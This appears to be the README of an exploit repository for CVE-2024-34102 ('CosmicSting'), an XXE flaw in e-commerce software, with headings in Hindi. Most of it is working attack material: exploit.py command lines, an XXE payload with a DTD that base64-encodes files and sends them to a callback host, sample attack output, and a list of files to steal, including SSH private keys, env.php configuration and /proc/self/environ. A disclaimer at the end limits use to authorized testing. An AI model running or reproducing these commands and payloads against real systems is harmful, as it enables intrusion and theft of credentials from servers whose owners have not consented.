# रिपॉजिटरी क्लोन करें
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com

sudo python3 server_dtd.py

python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com \
  --dtd-server YOUR-IP:8000

sudo python3 server_dtd.py

sudo python3 callback_server.py

python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c YOUR-CALLBACK-IP \
  --dtd-server YOUR-DTD-IP:8000

python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /etc/passwd \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /var/www/html/app/etc/env.php \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /home/ubuntu/.ssh/id_rsa \
  -c abc123.burpcollaborator.net \
  --dtd-server 192.168.1.100:8000 \
  --https

<!-- लक्ष्य को भेजा गया पेलोड -->
<!DOCTYPE r [
  <!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
  %sp;
  %param1;
]>
<r>&exfil;</r>

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">

GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...

echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d

[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http

DTD will be dynamically generated with:
[*]   Callback: http://abc123.oastify.com
[*]   File: /etc/passwd

DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...

=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>

To decode the exfiltrated data:
[*]   echo 'BASE64_STRING' | base64 -d

[!] Check your Burp Collaborator or Oastify dashboard now!

/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ

This exploit is provided for educational and security research purposes only.

Using this code to test systems without explicit authorization is ILLEGAL.

You are SOLELY responsible for your actions. Use only on:
✅ Your own test environments
✅ Authorized bug bounty programs
✅ Contracted penetration tests

DO NOT use on:
❌ Systems without authorization
❌ Production environments without permission
❌ Any malicious activity

The author is not responsible for misuse of this code.